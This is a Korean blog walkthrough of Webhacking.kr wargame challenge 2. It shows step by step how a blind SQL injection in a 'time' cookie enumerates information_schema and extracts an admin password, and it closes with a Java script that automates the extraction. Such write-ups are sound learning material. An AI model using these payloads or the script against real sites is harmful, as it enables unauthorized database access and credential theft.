본문 바로가기
[웹해킹]/[Webhacking.kr]

[Webhacking.kr] 2번 자바로 풀기..

by Hevton 2020. 9. 3.
반응형

SQL에 대해 기본이라도 알고 있다면 누구라도 2번에 대해 이해가 되고 따라 풀 수 있게끔 진행하면서 글을 써보려고 한다. 왜냐 내가 초보기 때문에 ㅠ..참고로 나는 SQL과 JAVA를 이용해서 풀었다. 파이썬을 알았다면야 좀 더 쉽게 풀었을테지만...이 2번은 노가다를 필요로 하는 문제인데, 나는 중반부 까지 노가다 하다가 빡쳐서 자바 프로그램의 도움을 조금 받았다. 처음부터 그랬으면 더 좋았을 테지만.. 덕분에 시간을 너무 많이 썼다..

 

문제를 풀면서 설명도 자세하게 할 예정이니 천천히 따라오시면 됩니다. 우선 2번을 들어가보자.

2번을 들어가면 나오는 화면

뭐 별얘기 없다. 웹페이지를 우클릭하여 '페이지 소스 보기'를 눌러보자.

<!--
2070-01-01 09:00:01
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->

시간값이 주석처리되어있고, 별 내용 없는 내용 있고, 그리고 admin.php 로 들어가면 엉덩이를 걷어찬다는 말이 있길래 접속해준다.

패스워드를 입력하라는 것 같네요

마찬가지로 페이지 소스보기를 해보면

<form method=post>
type your secret password <input name=pw> <input type=submit>

별 중요한 내용은 없어보인다. 그럼 이제 어떻게 해야할까.

 

웹해킹 문제를 풀 때, '페이지 소스 보기' 에서 껀덕지를 찾을 수 없으면 다음은 '쿠키' 확인이다.

 

다시 level2 메인화면으로 이동해서 쿠키값을 확인해보면 PHPSESSID 값과 time 값이 쿠키에 있다. PHPSESSID는 그냥 웹페이지라면 있는 정도의 세션값이니 무시하고 time 값이 있다는 거에 관심을 가져봐야 한다. time 쿠키값이 있고, 페이지 소스보기에 시간값이 있는 걸로 보면 둘의 연관이 있지 않을까 하고 생각할 수 있다. 따라서 time값에 아주 기본적인 sql injection문을 한번 넣어보자.

1599061864 and 1=1

이게 무슨 뜻이냐면, SQL INJECTION 기법의 가장 기본적인 방법인데, 원래 전송되어야 하는 값을 임의의 논리값을 통해 결과에 영향을 주는 방식이다. 예를 들면 id='admin' pw='hello' 일 경우에 패스워드 부분에 'or 1=1을 입력해주면 id ='admin' pw '' or 1=1이 되면서 조건문이 무조건 참이 되게끔 또는 거짓이 되게끔 만들어 주는 것이다. 일단 숫자값이니 따옴표 없이 입력해보고 다시 소스보기로 결과를 보면

<!--
2070-01-01 09:00:01
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->

숫자 주석의 결과가 바뀐걸 볼 수 있다.. 그럼 이번엔 아래와 같이 해보자

1599061864 and 1=2

그리고 소스보기로 다시 결과를 보면

<!--
2070-01-01 09:00:00
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->

결과가 다시 달라졌다. 이로써 결과를 도출해보면, 조건문이 참일 경우에는 시간의 초 단위가 1이 출력됨을 알 수 있고 조건문이 거짓일 경우에는 시간의 초 단위가 0이 출력됨을 알 수 있다.

 

"웹페이지에 날린 쿼리문을 통해 참 거짓 결과를 알 수 있다." 이 간단해 보이는 가능성이 무시무시한 해킹의 취약점이 된다.

바로 "Blind SQL Injection" 기법이다.

 

쿼리에 수많은 질문들을 날리면서 데이터베이스, 테이블, 컬럼을 하나하나 맞춰보는 것이다. 참이면 참인걸 알 수 있고 거짓이면 거짓인걸 알 수 있지 않느냐??? 굉장히 큰 무기를 갖고 있는 것이다.

 

지금부터는 약간 어려울 수도 있다. 지금당장 이해하려고 하기 보다 그냥 그러려니 하고 넘어갔다가 나중에 자연스레 만났을 때 비로소 이해가 되어도 괜찮다.

 

우리는 저 쿠키 쿼리문을 통해 데이터베이스 서버에 간접적으로 접속하고 있는 것이므로, 이제 데이터베이스(스키마) 가 몇개가 있는지 부터 천천히 알아봐야 한다... 어디에 패스워드를 담고 있을지 모르니 다 알아봐야 한다....지옥 시작.

 

우선 데이터베이스에는 메타 데이터라는 또 다른 데이터베이스가 기본적으로 존재한다. 이 메타데이터라는 의미는 정보라고 생각하면 된다. 그럼 무슨 정보냐, 바로 다른 데이터베이스들의 정보이다. 데이터베이스 서버들 안에는 많은 데이터베이스들이 존재할 수 있고, 이런 데이터베이스들이 생길 수 있다. 그럼 이 메타 데이터 데이터베이스는 "X데이터베이스 안에 X테이블안에 A컬럼~Z까지 존재하는군" 처럼, 그 데이터 베이스의 정보를 갖고 있는 것입니다. 테이블 안의 값 까지 모두 가지고 있다고 보기는 힘듭니다. 그냥 다른 데이터베이스들의 정보(이름이나 갖고있는 테이블 또는 컬럼 정보) 그 자체(이를 메타데이터라고 생각하시면 됩니다)를 갖고 있는 것입니다. 그리고 이 메타데이터 데이터베이스의 이름은 INFORMATION_SCHEMA 입니다. INFORMATION_SCHEMA 데이터베이스는, 같은 서버에 있는 다른 모든 데이터베이스들의 정보를 저장합니다. 이 데이터베이스 안의 테이블들을 살펴보자면, 굉장히 많지만 그 중 대표적으로

SCHEMATA
TABLES
COLUMNS
CHARACTER_SETS
COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY

ROUTINES

STATISTICS
VIEWS

USER_PRIVILEGES

SCHEMA_PRIVILEGES

TABLE_PRIVILEGES

COLUMN_PRIVILEGES

TABLE_CONSTRAINTS

KEY_COLUMN_USAGE

TRIGGERS

정도가 있고, 대표적으로 SCHEMATA에 모든 데이터베이스 이름들을 담고 있고, TABLES에 모든 데이터베이스의 테이블 정보를 담고 있으며 COLUMNS에 마찬가지로 모든 컬럼 데이터를 담고 있습니다. 따라서 이 세개에 대해서만 들여다 봐도 거의 대부분의 정보에 침투할 수 있습니다. 따라서 INFORMATION_SCHEMA는 해킹의 주 대상이겠죠?

 

자 우선 우리는 데이터 베이스가 몇 개 있는지, 그 데이터베이스들의 이름은 무엇인지 알아봐야 한다고 했습니다. 어디에 내가 원하는 패스워드 컬럼이 존재하는지 전혀 모르기 때문이죠.

보통의 경우 SQL문에서 데이터 베이스 목록을 출력할 때에는 다음과 같습니다.

mysql> show DATABASES;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sample_db          |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

그리고 이와 동일한 기능을 하는 명령어가 있습니다.

mysql> select schema_name from information_schema.schemata;
+--------------------+
| SCHEMA_NAME        |
+--------------------+
| mysql              |
| information_schema |
| performance_schema |
| sys                |
| sample_db          |
+--------------------+
5 rows in set (0.00 sec)

출력되는 순서만 다를 뿐 결과는 동일합니다. 둘 다 같은 데이터를 출력합니다. 그치만 우리는 아래 방법을 사용할 것입니다. 왜냐구요? 첫번째 방법이 간단하긴 한데 show 명령어가 취약하지 않은 경우도 많고, 앞으로의 작업과정의 일관성을 생각해서라면 아래 명령어들의 이름에 익숙해져야 합니다.

 

우리는 위처럼 곧이곧대로 결과값을 얻을 수 없고 단지 거짓과 참의 경우만 알 수 있으니 굉장한 어려움이 요구됩니다.

우선 알아봐야 할 데이터베이스가 총 몇 개있는지 확인하기 위해 쿠키값을 다음과 같이 입력해주겠습니다.

1599048909 and (SELECT count(schema_name) FROM information_schema.schemata) > x

오른쪽에 있는 부등호와 x 부분은 가변적인 부분이니 일단은 무시하시고, 제가 앞에서부터 천천히 설명드리겠습니다.

schema_name은 데이터베이스 이름에 대한 컬럼입니다. SELECT count(schema_name) FROM information_schema.schemata 까지만 입력하면, 데이터베이스 이름 컬럼의 레코드가 몇 개 이냐. 즉 데이터베이스 이름을 저장하는 컬럼에 데이터가 몇 개 들어가 있냐는 말입니다. 근데 우리는 이 값을 참과 거짓으로 분리해야 하므로 부등호와 숫자를 이용해 일일히 시도해봐야합니다...!!대박이죠?

하지만 아직 이정도는 별거 아닙니다. 이 노가다를 하시다 보면 =2일때 참이라는 경우를 곧 알 수 있게 됩니다.

 

그럼 데이터베이스의 총 갯수는 2개라는 것은 알게 되었습니다. 다음은 각 데이터베이스의 이름을 알아봐야겠네요. 대충 느낌이 오시나요? 데이터베이스 이름도 한글자씩 비교해보면서 노가다로 찾아야합니다 ㅎㅎ. 우선 첫번째 데이터베이스의 이름부터 알아보기 전에 이름 길이부터 알아봐야 합니다. 그래야 언제까지 비교해야하나 알 수가 있죠..!

1599048909 and length((SELECT schema_name from information_schema.schemata LIMIT 0, 1))=18

설명해드리겠습니다. length 함수는 괄호 안에 들어간 문자의 길이를 리턴해주는 함수이고, LIMIT 0, 1은 출력 행을 0번째 행부터 한 개 출력 하겠다 라는 뜻입니다. LIMIT 10, 10 하면 10번째 행부터 19번째 행까지 출력되는 것이죠. 참고로 LIMIT 다음에 숫자가 하나 올 수도 있는데, 그 때에는 그냥 위에서부터 X개 출력하겠다 라는 뜻입니다. 따라서 위 명령어를 분석해보면, 데이터베이스 이름들 중에 제일 위에 하나만 뽑아서 그것의 길이를 알아보는데, 그게 18인가? 라는 뜻입니다. 바로 18이라는 숫자를 때려맞출 순 없겠고 저는 노가다를 통해 18이라는 결과를 얻었습니다.

 

마찬가지로 두번째 데이터베이스의 이름 길이를 알아보시면

1599048909 and length((SELECT schema_name FROM information_schema.schemata LIMIT 1, 1))=6

6인 경우에 참이 도출됨을 보실 수 있을 것입니다. 따라서 지금까지는 데이터베이스가 2개있고 각각 18자 6자라는것을 알 수 있습니다.

근데 저희가 지금 은연중에 INFORMATION_SCHEMA라는 데이터베이스를 다루고 있었죠? 이 데이터베이스는 기본으로 존재하니까요.

그렇다면 이것의 글자수를 세어보면.. 기분좋게 18자로 떨어지게 됩니다. 따라서 이 데이터베이스에는 패스워드 데이터 값이 존재하지 않습니다. (메타데이터 데이터베이스에는 패스워드 컬럼의 정보에 대해서 까지는 저장되어있겠지만, 데이터의 직접적인 값들까지는 저장되어 있지 않기 때문입니다. 그게 메타데이터입니다.) 따라서 우리는 6글자의 데이터베이스를 알아보면 되겠습니다! (위치는 LIMIT 1,1)

 

그리고 이제는 6글자에 대해서 하나씩 알아봐야 합니다. 아래는 첫 글자를 맞춘 경우입니다. (99는 아스키코드로 c)

1599052801 and ASCII(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1, 1), 1, 1)) = 99

굉장히 복잡해보이죠? 우선 ASCII함수는 괄호 안의 문자를 십진수로 변환해주는 함수이고, SUBSTR(a, b, c)는 a문자를 b자리 부터 c개 추출하는 함수입니다. ex) SUBSTR("Hello", 1, 1) = 'H' 입니다. 주의할 점은 b가 0부터가 아니라 1부터 시작한다는 점 입니다. 따라서 위의 SUBSTR(~, 1,1) 부터 SUBSTR(~, 6, 1) 까지 하다 보면 6자리 모두를 맞추실 수 있을 겁니다. 그 6자리는 chall2입니다.

 

자 이제 데이터베이스명 까지 알아냈으니 테이블들을 알아내야 합니다. 일반적인 경우 SQL문을 통해 테이블을 알아내는 방법은 다음과 같은 두 가지 방법이 있습니다.

mysql> use sample_db;
Database changed
mysql> show tables;
+---------------------+
| Tables_in_sample_db |
+---------------------+
| student             |
+---------------------+
1 row in set (0.00 sec)

그리고

mysql> SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema='sample_db';
+--------------+------------+
| TABLE_SCHEMA | TABLE_NAME |
+--------------+------------+
| sample_db    | student    |
+--------------+------------+
1 row in set (0.00 sec)

우리는 이번에도 아래와 같은 방법을 사용할 것입니다. 자 이 방법을 토대로 우선 테이블의 갯수부터 알아봅시다. 아까도 데이터베이스의 갯수부터 알아봤죠?

1599053784 and (SELECT count(table_name) FROM information_schema.tables WHERE table_schema='chall2')=2

컬럼명이나 테이블명이 조금 달라진 것 빼고는 아까 했던 방법이랑 동일합니다. 이번엔 information_schema.tables 라는 테이블을 사용했고, 그 테이블 안에 table_name 컬럼에 들어있는 데이터 갯수를 물었으며 이 때 데이터베이스는 chall2일 경우라고 앞서 얻어낸 결과를 적용했습니다. 마찬가지로 바로 2의 결과가 도출되는게 아니라, 제가 여러 숫자를 부등호로 비교해보면서 2라는 값이 참이라는 경우를 도출시킨 것입니다. 따라서 chall2 데이터베이스에는 총 2개의 테이블이 존재함을 알 수 있습니다. 이제 이 테이블의 각각의 이름에 대해서도 마찬가지로 알아봅시다. 아 참고로 아까는 데이터베이스명 컬럼을 다룰 때 schema_name를 썼는데 왜 여기선 table_schema를 쓰는지 이해가 안되시는 분들을 위해서 설명드리자면, 아까는 information_schema.schemata 테이블을 사용했지만 지금은 information_schema.tabels를 사용하는만큼, 두 테이블에서 데이터베이스명을 다루는 이름값을 다르게 지어준 이유 뿐입니다. 자 다시 본론으로 돌아가서 이제 각각의 테이블의 이름 길이들을 알아보겠습니다. 방법은 데이터베이스 이름 길이들을 알아볼때와 다를 바 없습니다.

1599053784 and length((SELECT table_name FROM information_schema.tables WHERE table_schema='chall2' LIMIT 0,1))=13

하나는 길이가 13자인 이름을 갖고 있고

1599053784 and length((SELECT table_name FROM information_schema.tables WHERE table_schema='chall2' LIMIT 1,1))=3

다른 하나는 3글자의 이름을 가지고 있습니다. 자. 정말 반복적이고 짜증나지만 13자의 이름부터 알아볼까요? 전 이때부터 짜증나서 프로그램 만들어서 돌렸습니다.

1599053784 and ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='chall2' LIMIT 0,1),1,1))=97

이게 첫번째 글자를 알아낸 경운데, 이를 마찬가지로 SUBSTR(~, 1, 1) 부터 SUBSTR(~, 13, 1) 까지 돌려주면 admin_area_pw 라는 13자리가 완성됩니다. 아마 이 테이블에 제가 찾는게 있는 것 같죠? 따라서 3자리는 그냥 안하겠습니다..이러면안되지만..

 

이제 이 테이블에 컬럼이 총 몇개 있는지 알아보겠습니다. 데이터베이스 개수나 테이블 개수를 알아봤듯이요..굉장한 반복과정이죠..?ㅠ

1599053784 and (SELECT count(column_name) FROM information_schema.columns WHERE table_name='admin_area_pw')=1

이번에 달라진점은 컬럼 정보를 다루기 위해 information_schema.columns 테이블을 사용했다는 것이고, 그 안의 column_name, table_name 컬럼을 사용한 것이지 다 똑같은 과정입니다. 행복하게도 컬럼이 단 한개라네요!!!!!! 그럼 그 컬럼의 길이를 알아봅시다. 똑같은 반복이죠? 데이터베이스 개수를 구하고서 데이터베이스 길이를 구하고서 데이터베이스 이름을 구했고, 테이블 개수를 구하고서 테이블 길이를 구하고서 테이블 이름을 구했듯이요..!

1599053784 and length((SELECT column_name FROM information_schema.columns WHERE table_name='admin_area_pw' LIMIT 0,1))=2

컬럼의 이름 길이는 총 2자리..!! 아마 pw인것같죠? 그래도 한번 확인해봅시다. 여까지왔는데 끝까지해봐야죠.

1599053784 and ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='admin_area_pw' LIMIT 0,1),1,1))=112

첫자는 p가 맞고, 둘째짜리까지 돌려보면 w 도 나옵니다. 그러면 컬럼의 이름은 pw임을 알 수 있습니다. 자 이제 마지막관문.

저희는 데이터베이스명을 알고, 테이블 명도 알고, 컬럼 명도 아니까 이제 그 안에 있는 값만 알면 됩니다!!! 

이제 그 값이 몇자리인지 한번 알아봅시다.

1599053784 and length((SELECT pw FROM chall2.admin_area_pw LIMIT 0, 1))=17

17자리라네요. 물론 count(pw)로 패스워드 총 개수부터 왜 안알아봤냐라고 물어보실 수 있는데, 컬럼도 하나인데 패스워드가 여러개일거라곤 안느껴져서 그냥 생략했습니다..죄송핳ㅂ니다!! 물론 돌려보십시요! 하나만 나올걸요?? 여튼 17자리가 나왔으니 이제 한자리 한자리 알아봅시다! 기쁘고 행복한 마음으로 돌리다 보며는

ASCII(SUBSTR((SELECT pw FROM chall2.admin_area_pw LIMIT 0,1),1,1))=107

첫째자리 107부터 해서 끝자리 까지 아스키 코드로 변환해보면 kudos_to_beistlab 라는 결과가 나옵니다.. 그리고 이를 아까 admin.php에 들어가서 패스워드로 입력해주시면

드디어~~

 

합격 창이 나옵니다. 고생하셨습니다.. 마지막으로 제가 자바로 조금 만들었던 반 자동화 코드 보여드리며 글을 이만 줄이겠습니다.

(완벽한 자동화는 아닙니다!! 거의 막바지에 만들어가지고..)

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;

public class main {
    public static void main(String args[]) {
        try {
            //해당 코드는 마지막 비밀번호 도출 때를 기준으로 작성되었습니다.
            for (int j = 1; j < 18; j++) { // 이 부분의 인덱스는 총 글자수에 대한 값입니다.
                //여러 개의 쿠키값을 지정해 줄 때에는 세미콜론을 구분자로 사용하면서 입력해주면 됩니다. ->쿠키이름=쿠키값;쿠키이름=쿠키캆;쿠키이름=쿠키값....
                for (int i = 48; i < 123; i++) { //이부분은 비교할 10진수 값입니다. 0이 48, z 가 123
                    URL url = new URL("https://webhacking.kr/challenge/web-02");
                    HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
                    httpURLConnection.setRequestProperty("Cookie", "PHPSESSID=adj9p22jgdts94abhfmdvf7tfd;time=1599053784 and ASCII(SUBSTR((SELECT pw FROM chall2.admin_area_pw LIMIT 0,1)," + j + ",1)) =" + i);
                    BufferedReader br2 = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream()));
                    StringBuilder sb = new StringBuilder();
                    String s;
                    while ((s = br2.readLine()) != null) {
                        sb.append(s);
                    }
                    if (sb.charAt(22) == '1') {
                        System.out.print(String.format("%c", i));
                        break;
                    } else ;
                }
            }
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }
}

 

읽어주셔서 감사합니다. 끝까지 읽은 사람이 있을진 모르겠지만 정말 성공할 사람...

 

 

ps. LIMIT과 SUBSTR 사용할때 헷갈리지 않으시길 바랍니다. LIMIT a, b 일때 a는 0부터시작하고 SUBSTR(x, y, z) 일 때 y는 1부터 시작합니다. 시작 숫자 기준이 다릅니다. 참고로 함수로 감싸지 않는 이상 SELECT 쿼리문을 기본적으로 괄호로 감싸지 않으면 오류가 생기더라구요..SELECT문은 기본적으로 괄호로 무조건 감싸주었습니다.

반응형

'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글

Webhacking.kr 6번 문제풀이  (0) 2020.09.08
Webhacking.kr 5번 문제풀이  (0) 2020.09.07
[Webhacking.kr] 4번 문제풀이  (0) 2020.09.05
[Webhacking.kr] 3번 풀이  (0) 2020.09.04
[Webhacking.kr] 1번 (쿠키, 세션 설명)  (0) 2020.08.31